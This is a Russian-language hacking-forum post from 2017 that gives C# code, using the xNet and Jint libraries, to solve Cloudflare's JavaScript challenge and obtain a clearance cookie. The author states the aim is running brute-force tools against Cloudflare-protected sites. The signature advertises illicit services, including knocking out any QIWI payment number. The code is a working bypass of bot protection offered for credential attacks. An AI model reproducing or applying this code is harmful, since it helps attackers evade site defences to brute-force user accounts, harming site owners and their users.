Обход защиты CloudFlare C# xNet

Тема в разделе "Софт и инструменты", создана пользователем Hermanicus, 7 мар 2017.

    1. Итак для реализации брутов на некоторые сайты с защитой от CloudFlare пришлось как-то разбираться с этим делом, решил поделиться опытом, так что нам понадобится:

      1. Прямые руки
      2. Visual Studio 2008-2015

      Итак, первым делом тыкаем правой кнопочкой на проекте, управление пакетами NuGet, ищем и устанавливаем Jint, интерпритатор Js для c#

      Ну а далее код:
    Код:
    using (var req = new xNet.HttpRequest())
    {
    var con = "";
    var JSEngine = new Jint.Engine();
    var uri = new Uri("Сайт.ру");

    try
    {
    req.Cookies = new CookieDictionary();
    req.UserAgent = Http.ChromeUserAgent();
    //Делаем запрос к сайту с защитой CF, вероятнее всего он выдаст ошибку 503 и отправимся мы в блок Catch
    con = req.Get("Сайт.ру").ToString();
    }
    catch (Exception)
    {
    //В переменную Con заносим ответ от сайта и парсим нужную инфу
    con = req.Response.ToString();
    var challenge = Regex.Match(con, "name=\"jschl_vc\" value=\"(\\w+)\"").Groups[1].Value;
    var challenge_pass = Regex.Match(con, "name=\"pass\" value=\"(.+?)\"").Groups[1].Value;

    var builder = Regex.Match(con, @"setTimeout\(function\(\){\s+(var t,r,a,f.+?\r?\n[\s\S]+?a\.value =.+?)\r?\n").Groups[1].Value;
    builder = Regex.Replace(builder, @"a\.value =(.+?) \+ .+?;", "$1");
    builder = Regex.Replace(builder, @"\s{3,}[a-z](?: = |\.).+", "");
    builder = Regex.Replace(builder, @"[\n\\']", "");

    //Выполняем JS
    long solved = long.Parse(JSEngine.Execute(builder).GetCompletionValue().ToObject().ToString());
    solved += uri.Host.Length; //add the length of the domain to it.

    //Ждем 3 сек, иначе CF пошлет нас к хуям
    Thread.Sleep(3000);

    //Генерируем запрос
    string cookie_url = string.Format("{0}://{1}/cdn-cgi/l/chk_jschl", uri.Scheme, uri.Host);
    var uri_builder = new UriBuilder(cookie_url);
    var query = HttpUtility.ParseQueryString(uri_builder.Query);
    query["jschl_vc"] = challenge;
    query["pass"] = challenge_pass;
    query["jschl_answer"] = solved.ToString();
    uri_builder.Query = query.ToString();

    req.AllowAutoRedirect = false;
    req.Referer = "Сайт.ру";

    //Отправляем запрос
    con = req.Get(uri_builder.Uri).ToString();

    //После данного запроса спокойно можем шакалить по сайту
    //Конечно же с данным экземпляром класса

    }
    Предлагаю услуги по:
    1. Сделаю зеркало любого сайта в сети ТОR
    2. Блокировка ЛЮБОГО QIWI Номера (Быстро)


    [​IMG]
    Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас.
    Софт советую использовать на виртуалке.
     

Поделиться этой страницей